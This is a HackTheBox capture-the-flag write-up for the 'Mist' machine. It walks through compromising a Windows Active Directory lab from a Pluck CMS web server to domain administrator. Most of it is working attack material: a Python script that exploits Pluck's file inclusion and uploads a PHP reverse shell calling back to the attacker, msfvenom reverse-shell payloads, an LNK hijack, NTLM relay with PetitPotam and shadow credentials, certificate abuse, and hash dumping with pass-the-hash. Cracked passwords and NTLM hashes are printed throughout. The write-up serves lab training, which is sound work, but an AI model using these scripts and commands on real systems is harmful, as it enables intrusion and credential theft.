HackTheBox Mist Writeup
Explore the fundamentals of cybersecurity in the Mist Capture The Flag (CTF) challenge, a insane-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
1
10.10.11.17 mist.htb
Script to add hosts automatically
1
2
3
ip="10.10.11.17"
domain="mist.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
1
nmap -sCV mist.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Nmap scan report for mist.htb (10.10.11.17)
Host is up (0.055s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-generator: pluck 4.7.18
| http-title: Mist - Mist
|_Requested resource was http://mist.htb/?file=mist
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-robots.txt: 2 disallowed entries
|_/data/ /docs/
CVE-2024-9405 Pluck LFI
1
curl "http://10.10.11.17/data/modules/albums/albums_getimage.php?image=admin_backup.php"
Brute Force the Hash
Use an hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.
1
2
3
4
5
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat -m 1700 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat -m 1700 /tmp/hash.txt --show
rm -rf /tmp/hash.txt
Pluck Upload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
#!/bin/env python3
import os
import argparse
import requests
import subprocess
from zipfile import ZipFile
from requests_toolbelt.multipart.encoder import MultipartEncoder
def get_tun0_ip():
try:
result = subprocess.run(
["sh", "-c", r"ip a | grep -A 2 'tun0:' | grep -oP '(?<=inet\s)\d+(\.\d+){3}'"],
stdout=subprocess.PIPE,
text=True
)
ip_address = result.stdout.strip()
return ip_address if ip_address else None
except Exception as e:
print(f"Error getting tun0 IP: {e}")
return None
theme_content = f"""
<?php
class Shell {{
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(
0 => array('pipe', 'r'), // shell can read from STDIN
1 => array('pipe', 'w'), // shell can write to STDOUT
2 => array('pipe', 'w') // shell can write to STDERR
);
private $buffer = 1024;
private $clen = 0;
private $error = false;
public function __construct($addr, $port) {{
$this->addr = $addr;
$this->port = $port;
}}
private function detect() {{
$detected = true;
if (stripos(PHP_OS, 'LINUX') !== false) {{
$this->os = 'LINUX';
$this->shell = 'powershell';
}} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {{
$this->os = 'WINDOWS';
$this->shell = 'powershell.exe';
}} else {{
$detected = false;
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
}}
return $detected;
}}
private function daemonize() {{
$exit = false;
if (!function_exists('pcntl_fork')) {{
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
}} else if (($pid = @pcntl_fork()) < 0) {{
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
}} else if ($pid > 0) {{
$exit = true;
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
}} else if (posix_setsid() < 0) {{
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
}} else {{
echo "DAEMONIZE: Completed successfully!\n";
}}
return $exit;
}}
private function settings() {{
@error_reporting(0);
@set_time_limit(0);
@umask(0);
}}
private function dump($data) {{
$data = str_replace('<', '<', $data);
$data = str_replace('>', '>', $data);
echo $data;
}}
private function read($stream, $name, $buffer) {{
if (($data = @fread($stream, $buffer)) === false) {{
$this->error = true;
echo "STRM_ERROR: Cannot read from ${{name}}, script will now exit...\n";
}}
return $data;
}}
private function write($stream, $name, $data) {{
if (($bytes = @fwrite($stream, $data)) === false) {{
$this->error = true;
echo "STRM_ERROR: Cannot write to ${{name}}, script will now exit...\n";
}}
return $bytes;
}}
private function rw($input, $output, $iname, $oname) {{
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {{
if ($this->os === 'WINDOWS' && $oname === 'STDIN') {{ $this->clen += strlen($data); }}
$this->dump($data);
}}
}}
private function brw($input, $output, $iname, $oname) {{
$fstat = fstat($input);
$size = $fstat['size'];
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {{
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {{
$this->clen -= $bytes;
$size -= $bytes;
}}
}}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {{
$size -= $bytes;
$this->dump($data);
}}
}}
public function run() {{
if ($this->detect() && !$this->daemonize()) {{
$this->settings();
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {{
echo "SOC_ERROR: {{$errno}}: {{$errstr}}\n";
}} else {{
stream_set_blocking($socket, false);
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
if (!$process) {{
echo "PROC_ERROR: Cannot start the shell\n";
}} else {{
foreach ($pipes as $pipe) {{
stream_set_blocking($pipe, false);
}}
$status = proc_get_status($process);
@fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
do {{
$status = proc_get_status($process);
if (feof($socket)) {{ // check for end-of-file on SOCKET
echo "SOC_ERROR: Shell connection has been terminated\n"; break;
}} else if (feof($pipes[1]) || !$status['running']) {{
echo "PROC_ERROR: Shell process has been terminated\n"; break;
}}
$streams = array(
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
'write' => null,
'except' => null
);
$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
if ($num_changed_streams === false) {{
echo "STRM_ERROR: stream_select() failed\n"; break;
}} else if ($num_changed_streams > 0) {{
if ($this->os === 'LINUX') {{
if (in_array($socket , $streams['read'])) {{ $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); }} // read from SOCKET and write to STDIN
if (in_array($pipes[2], $streams['read'])) {{ $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); }} // read from STDERR and write to SOCKET
if (in_array($pipes[1], $streams['read'])) {{ $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); }} // read from STDOUT and write to SOCKET
}} else if ($this->os === 'WINDOWS') {{
if (in_array($socket, $streams['read'])/*------*/) {{ $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); }} // read from SOCKET and write to STDIN
if (($fstat = fstat($pipes[2])) && $fstat['size']) {{ $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); }} // read from STDERR and write to SOCKET
if (($fstat = fstat($pipes[1])) && $fstat['size']) {{ $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); }} // read from STDOUT and write to SOCKET
}}
}}
}} while (!$this->error);
foreach ($pipes as $pipe) {{
fclose($pipe);
}}
proc_close($process);
}}
fclose($socket);
}}
}}
}}
}}
echo '<pre>';
$sh = new Shell('{ get_tun0_ip() }', 9001);
$sh->run();
unset($sh);
echo '</pre>';
?>
"""
theme_info = "<?php $themedir = 'pwned'; $themename = 'pwned'; ?>"
session = requests.Session()
def login(url,psw):
LOGIN_URL = url + "login.php"
headers = {"Referer": LOGIN_URL}
data = {'cont1': psw, 'bogus': '', 'submit': 'Log in'}
response = session.post(LOGIN_URL, headers=headers, data=data)
if response.status_code == 200:
print("[+] Login successful")
return True
else:
print("[-] Login problem. response code:", response.status_code)
return False
def theme_zip(name):
WEBSHELL_PATH = './theme.php'
INFO_PHP_PATH = './info.php'
with open(WEBSHELL_PATH, 'w') as file:
file.write(theme_content)
with open(INFO_PHP_PATH, 'w') as file:
file.write(theme_info)
with ZipFile(name + '.zip', 'w') as zipf:
zipf.write(WEBSHELL_PATH)
zipf.write(INFO_PHP_PATH)
print("[+] Theme Zipped")
def module_zip(name):
WEBSHELL_PATH = f'./{name}/{name}.php'
os.makedirs(name, exist_ok=True)
with open(WEBSHELL_PATH, 'w') as file:
file.write(theme_content)
with ZipFile(f'{name}.zip', 'w') as zipf:
zipf.write(WEBSHELL_PATH, arcname=os.path.join(f'{name}/', name + '.php'))
print("[+] Module Zipped")
def theme_set(url,name):
THEME_URL = url + "admin.php?action=theme"
headers = {"Referer": THEME_URL}
data = {'cont1': name, 'save': 'Save'}
response = session.post(THEME_URL, headers=headers, data=data)
if response.status_code == 200:
print("[+] Theme setup successful")
return True
else:
print("[-] Theme setup problem. Response code:", response.status_code)
return False
def theme_check(url, name):
response = session.get(url + "/data/themes/" + name + "/")
return response.status_code == 200
def lfi(url, file):
response = session.post(url + 'data/modules/albums/albums_getimage.php?image=' + file)
if response.status_code == 200:
print(response.text)
else:
print(f"[-] Failed to LFI. Status code: {response.status_code}")
def upload(url, name, action):
UPLOAD_URL = url + "admin.php?action=" + action
with open(name + '.zip', 'rb') as file:
multipart_data = MultipartEncoder(
fields={
'sendfile': (name + '.zip', file, 'application/zip'),
'submit': 'Upload'
}
)
headers = {
"Referer": UPLOAD_URL,
'Content-Type': multipart_data.content_type
}
response = session.post(UPLOAD_URL, headers=headers, data=multipart_data)
if response.status_code == 200:
print("[+] Upload successful")
return True
else:
print("[-] Upload problem. Response code:", response.status_code)
return False
def run(url, path):
response = session.post(url + path)
if response.status_code == 200:
print(response.text)
else:
print(f"[-] Failed to execute command. Status code: {response.status_code}")
if __name__ == '__main__':
try:
parser = argparse.ArgumentParser(description="Manage theme installation and operations.")
parser.add_argument('-n', '--name', default='pwn', help='Name of the theme to process.')
parser.add_argument('-u', '--url', required=True, help='Url of the pluck website.')
parser.add_argument('-p', '--password', required=True, help='Password for login authentication.')
parser.add_argument('-r', '--rev', action='store_true', help='Activate reverse shell PHP to tun0:9001.')
parser.add_argument('-t', '--type', choices=['theme', 'module'], default='module', help='Specify the upload type.')
args = parser.parse_args()
login(args.url,args.password)
print("[+] "+ args.url + 'admin_backup.php')
lfi(args.url ,'admin_backup.php')
if args.type == 'theme':
theme_zip(args.name)
elif args.type == 'module':
module_zip(args.name)
if args.rev:
while not theme_check(args.url ,args.name):
if args.type == 'theme':
upload(args.url ,args.name, 'themeinstall')
theme_set(args.url ,args.name)
run(args.url, '')
else:
upload(args.url ,args.name, 'installmodule')
run(args.url,'data/modules/' + args.name + '/' + args.name + '.php')
except KeyboardInterrupt:
print("[-] Exit")
exit(0)
1
rlwrap nc -lvnp 9001
Note: Avoid -t theme
; it overwrites the main webpage, making the site unusable for others. Use the default module
upload for safer changes.
1
2
3
4
mkdir mist
cd mist
nano rce.py
python rce.py -p lexypoo97 -u 'http://10.10.11.17/' -r
After Inspecting dirs in the target
1
2
3
net share
net view \\MS01
dir "\\MS01\Common Applications"
LNK Hijack
Gen a Payload in your machine:
1
2
msfvenom -p windows/x64/shell_reverse_tcp -f exe LHOST=tun0 LPORT=9002 -o debug.exe
python -m http.server
Listener:
1
rlwrap nc -lvnp 9002
In the Target:
1
2
cd \xampp\htdocs\files
wget 10.10.14.17:8000/debug.exe -o debug.exe
https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk
1
2
3
4
$objShell = New-Object -ComObject WScript.Shell;
$lnk = $objShell.CreateShortcut("C:\Common Applications\Calculator.lnk");
$lnk.TargetPath = "C:\xampp\htdocs\files\debug.exe";
$lnk.Save();
View if its infected:
1
type "c:\Common Applications\Calculator.lnk"
Now wait like 120s for 9002 to get the connection back
CA Certificates
1
2
3
4
5
cd \xampp\htdocs\files
curl 10.10.14.17:8000/Certify.exe -o Certify.exe
.\Certify.exe cas /ca:DC01\mist-DC01-CA
.\Certify.exe find ca:DC01\mist-DC01-CA
.\Certify.exe request /ca:DC01.mist.htb\mist-DC01-CA /template:User
as said by the promt convert with openssl in your local machine
1
2
3
nano cert.pem
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
python -m http.server 8001
Silver ticket
In the Target:
1
2
3
curl 10.10.14.17:8001/cert.pfx -o cert.pfx
curl 10.10.14.17:8000/Rubeus.exe -o Rubeus.exe
.\Rubeus.exe asktgt /user:brandon.keywarp /certificate:C:\xampp\htdocs\files\cert.pfx /getcredentials /show /nowrap
and you get the NTLM Hash DB03D6A77A2205BC1D07082740626CC9
for mist\brandon.keywarp
.
WebDav Enable
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <windows.h>
#include <evntprov.h>
#include <stdio.h>
ULONG EVNTAPI EventRegister(LPCGUID ProviderId, PENABLECALLBACK EnableCallback, PVOID CallbackContext, PREGHANDLE RegHandle);
ULONG EVNTAPI EventWrite(REGHANDLE RegHandle, PCEVENT_DESCRIPTOR EventDescriptor, ULONG UserDataCount, PEVENT_DATA_DESCRIPTOR UserData);
ULONG EVNTAPI EventUnregister(REGHANDLE RegHandle);
typedef struct {
char *original;
char *buffer;
int length;
int size;
} datap;
typedef struct {
char *original;
char *buffer;
int length;
int size;
} formatp;
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20
void BeaconPrintf(int type, const char *fmt, ...) {
va_list args;
va_start(args, fmt);
vprintf(fmt, args);
va_end(args);
}
BOOL BeaconUseToken(HANDLE token) {
return SetThreadToken(NULL, token);
}
void BeaconRevertToken() {
RevertToSelf();
}
BOOL BeaconIsAdmin() {
BOOL isAdmin = FALSE;
PSID adminGroup;
SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;
if (AllocateAndInitializeSid(&ntAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminGroup)) {
CheckTokenMembership(NULL, adminGroup, &isAdmin);
FreeSid(adminGroup);
}
return isAdmin;
}
VOID go(IN PCHAR Args, IN ULONG Length) {
ULONG status = ERROR_SUCCESS;
REGHANDLE RegistrationHandle;
EVENT_DESCRIPTOR EventDescriptor;
const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider =
{ 0x22B6D684, 0xFA63, 0x4578,
{ 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } };
status = EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider, NULL, NULL, &RegistrationHandle);
if (status != ERROR_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "EventRegister failed with error value %lu\n", status);
return;
}
EventDescCreate(&EventDescriptor, 1, 0, 0, 4, 0, 0, 0);
status = EventWrite(RegistrationHandle, &EventDescriptor, 0, NULL);
if (status != ERROR_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "EventWrite failed with 0x%x\n", status);
return;
}
EventUnregister(RegistrationHandle);
BeaconPrintf(CALLBACK_OUTPUT, "[+] WebClient service started successfully.\n");
}
int main() {
go(NULL, 0);
return 0;
}
In your Machine:
1
2
3
4
mkdir webdav
nano webdav.c
x86_64-w64-mingw32-gcc -o webdav.exe webdav.c -ladvapi32 -mconsole
python -m http.server 8001
On the Target 9002:
1
2
3
4
5
cd \xampp\htdocs\files
powershell
curl 10.10.14.17:8001/webdav.exe -o webdav.exe
Install-WindowsFeature WebDAV-Redirector
.\webdav.exe
On the Target 9001:
1
Get-Service WebClient
When using tools like PetitPotam and ntlmrelayx, always check and start WebDAV first to ensure it’s running properly.
Chisel Forwarding
In the Local:
1
2
3
chisel server -p 9999 --reverse
chisel server -p 4444 --reverse
socat tcp-listen:8080,reuseaddr,fork tcp:10.10.14.17:80
In the Target:
1
2
3
4
5
6
7
8
powershell
net user
cd \xampp\htdocs\files
curl http://10.10.14.17:8000/chisel.exe -o chisel.exe
Get-Process | Where-Object {$_.ProcessName -like "chisel"} | Stop-Process -Force
Start-Process -FilePath ".\chisel.exe" -ArgumentList "client 10.10.14.17:9999 R:socks" -WindowStyle Hidden
Start-Process -FilePath ".\chisel.exe" -ArgumentList "client 10.10.14.17:4444 8080:10.10.14.17:8080" -WindowStyle Hidden
gci Cert:\CurrentUser\UserDS\ | select *
install proxychains and sudo nano /etc/proxychains.conf
in the last line socks5 127.0.0.1 1080
test connection using the previously discussed hash
1
sudo proxychains netexec smb 192.168.100.100 -u 'brandon.keywarp' -H "DB03D6A77A2205BC1D07082740626CC9"
PetitPotam
in your machine
1
2
wget https://raw.githubusercontent.com/topotam/PetitPotam/refs/heads/main/PetitPotam.py
proxychains python3 PetitPotam.py -u 'brandon.keywarp' -hashes ':DB03D6A77A2205BC1D07082740626CC9' -pipe all -d mist.htb 10.10.14.17 192.168.100.101
1
sudo responder -I tun0 -dwv
Shut down ‘responder’ after verifying the connection, as it was used only for testing purposes.
Impacket Pull Request 1402 (Shadow Credentials)
Fortra’s Impacket Pull 1402 introduces
set_shadow_creds
andclear_shadow_creds
functions, enabling advanced manipulation of Active Directory objects.Impacket fork includes these features in the branch
interactive-ldap-shadow-creds
.
1
2
3
4
5
6
7
git clone https://github.com/Tw1sm/impacket.git -b interactive-ldap-shadow-creds
cd impacket
python -m venv venv
source venv/bin/activate
pip install .
pip install pyOpenSSL==24.0.0
sudo PYTHONPATH=$(echo $VIRTUAL_ENV/lib/python*/site-packages) proxychains python3 ./examples/ntlmrelayx.py -t ldaps://192.168.100.100 --delegate-access -i
1
proxychains python3 PetitPotam.py -u Brandon.Keywarp -d mist.htb -hashes :DB03D6A77A2205BC1D07082740626CC9 "ms01@8080/test" 192.168.100.101 -pipe all
1
rlwrap nc -nv 127.0.0.1 11000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# clear_shadow_creds MS01$
Found Target DN: CN=MS01,CN=Computers,DC=mist,DC=htb
Target SID: S-1-5-21-1045809509-3006658589-2426055941-1108
Shadow credentials cleared successfully!
# set_shadow_creds MS01$
Found Target DN: CN=MS01,CN=Computers,DC=mist,DC=htb
Target SID: S-1-5-21-1045809509-3006658589-2426055941-1108
KeyCredential generated with DeviceID: 8bf7ec3e-23ca-7c4c-a703-f255f9449a98
Shadow credentials successfully added!
Saved PFX (#PKCS12) certificate & key at path: 7EHwTVnZ.pfx
Must be used with password: YdKyMslQtN7VlDfceLZJ
To run this sequence quickly, launch WebDAV, start ntlmrelayx
, trigger PetitPotam
to coerce NTLM authentication, and immediately use pkinit
with your specific .pfx
and password to grab the Kerberos ticket. Using tmux
for session handling and rlwrap
for smoother command input/output will help keep the flow uninterrupted, as timing is critical for this chain to succeed.
Get the ticket with pkinit
1
sudo proxychains gettgtpkinit -cert-pfx $(pwd)/jdfNKNFB.pfx -pfx-pass "oVv1twDcTaadrgN2iovX" MIST.HTB/MS01$ ms01.ccache -dc-ip 192.168.100.100 -v
From this point onward, you can proceed calmly.
1
2
export KRB5CCNAME=ms01.ccache
sudo proxychains getnthash mist.htb/svc_cabackup -key <key from gettgtpkinit>
Output:
1
40a247e6c71d823a03265c51bda949c8
Use ticketer & netexec:
1
2
3
ticketer.py -nthash 40a247e6c71d823a03265c51bda949c8 -domain-sid S-1-5-21-1045809509-3006658589-2426055941 -domain mist.htb -dc-ip 192.168.100.100 -spn HOST/MS01.mist.htb administrator
export KRB5CCNAME=administrator.ccache
proxychains nxc smb 192.168.100.101 --use-kcache --sam
Output:
1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:711e6a685af1c31c4029c3c7681dd97b:::
Note:
proxychains secretsdump.py -k -no-pass administrator@ms01.mist.htb
retrieves the plaintext password forsvc_web
, but it’s not necessary.
Now you can use the hash:
1
proxychains evil-winrm -i 192.168.100.101 -u administrator -H 711e6a685af1c31c4029c3c7681dd97b
1
type '\Users\Administrator\Desktop\user.txt'
Now op_sharon
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
tree /a /f \Users\Sharon.Mullard
C:\USERS\SHARON.MULLARD
+---Desktop
+---Documents
| sharon.kdbx <-- Keepass database
|
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
| cats.png
| image_20022024.png
|
+---Saved Games
\---Videos
The files image_20022024.png
and cats.png
offer clues suggesting hashcat use, with the password possibly starting as “UA7cpa[#1!_*ZX”—valuable for password cracking.
1
proxychains evil-winrm -i 192.168.100.101 -u administrator -H 711e6a685af1c31c4029c3c7681dd97b
1
download 'C:\USERS\SHARON.MULLARD\Documents\sharon.kdbx'
Now in your local machine:
1
2
3
file sharon.kdbx
keepass2john sharon.kdbx > sharon_kdbx.hash
hashcat -a 3 -m 13400 --increment --increment-min 14 --increment-max 20 sharon_kdbx.hash 'UA7cpa[#1!_*ZX?a' --user
You will get UA7cpa[#1!_*ZX@
Use
kpcli --kdb sharon.kdbx
, enter the password, and runshow -f 0
to display entries. Or, install KeePassXC to opensharon.kdbx
with the found password.
And you will get the actuall password ImTiredOfThisJob:(
.
1
proxychains evil-winrm -u "OP_SHARON.MULLARD" -p 'ImTiredOfThisJob:(' -i 192.168.100.100
Now Root flag
1
sudo proxychains netexec ldap 192.168.100.100 -u op_Sharon.Mullard -p "ImTiredOfThisJob:(" --gmsa
You will get NTLM 07bb1cde74ed154fcec836bc1122bdcc
of svc_ca$
AddKeyCredentialLink
https://github.com/ShutdownRepo/pywhisker
1
2
3
4
git clone https://github.com/0xPreDa/pywhisker
cd pywhisker
pipx ensurepath
pipx install .
PS: When I used it, I switched to the 0xPreDa fork due to an unresolved pull request, but it’s probably already fixed.
1
proxychains pywhisker -d "mist.htb" --dc-ip 192.168.100.100 -u 'svc_ca$' -H "07BB1CDE74ED154FCEC836BC1122BDCC" -t "svc_cabackup" --action "add"
replace with your id and random pass
1
2
3
sudo proxychains gettgtpkinit -cert-pfx "$(pwd)/Jv5N61Jv.pfx" -pfx-pass "gEwqpXOIKAwCOPcgrzvc" MIST.HTB/svc_cabackup svc_cabackup.ccache -dc-ip 192.168.100.100 -v
export KRB5CCNAME=./svc_cabackup.ccache
proxychains getnthash mist.htb/svc_cabackup -key <pkinit key>
with this you get c9872f1bc10bdd522c12fc2ac9041b64
.
ManagerAuthentication CA
1
2
3
pipx install certipy-ad
proxychains certipy req -u "svc_cabackup@mist.htb" -hashes ":c9872f1bc10bdd522c12fc2ac9041b64" -template ManagerAuthentication -ca mist-DC01-CA -target dc01.mist.htb -key-size 4096 -dns-tcp -dc-ip 192.168.100.100
proxychains -q certipy req -u svc_cabackup -hashes c9872f1bc10bdd522c12fc2ac9041b64 -ca 'mist-DC01-CA' -template ManagerAuthentication -dc-ip 192.168.100.100 -dns-tcp -key-size 4096
Note: If you encounter the error
[-] Got error: The NETBIOS connection with the remote host timed out
, simply try running the command again, as this error often occurs due to transient network connectivity issues.
Smb Sever
smb server in your local pc to retrive sam:
1
2
3
mkdir smb
cd smb
sudo smbserver.py -smb2support pwn .
Retrive SAM
1
2
3
proxychains -q certipy auth -dc-ip 192.168.100.100 -pfx svc_cabackup.pfx
export KRB5CCNAME=svc_cabackup.ccache
proxychains -q certipy req -k -no-pass -ca 'mist-DC01-CA' -template 'BackupSvcAuthentication' -dc-ip dc01.mist.htb -ns 192.168.100.100 -dns-tcp -key-size 4096
1
2
3
proxychains -q certipy auth -dc-ip 192.168.100.100 -pfx svc_cabackup.pfx
export KRB5CCNAME=svc_cabackup.ccache
proxychains -q reg.py 'mist.htb/svc_cabackup@dc01.mist.htb' -k -no-pass -dc-ip 192.168.100.100 backup -o '\\10.10.14.17\pwn'
1
secretsdump.py -sam SAM.save -security security.save -system SYSTEM.save LOCAL
Final Steps
Test the hash:
1
sudo proxychains netexec smb 192.168.100.100 -u "DC01\$" -H "e768c4cf883a87ba9e96278990292260"
1
proxychains secretsdump.py -hashes ":e768c4cf883a87ba9e96278990292260" DC01\$@192.168.100.100
1
proxychains evil-winrm -u administrator -H 'b46782b9365344abdff1a925601e0385' -i 192.168.100.100
1
type \Users\Administrator\desktop\root.txt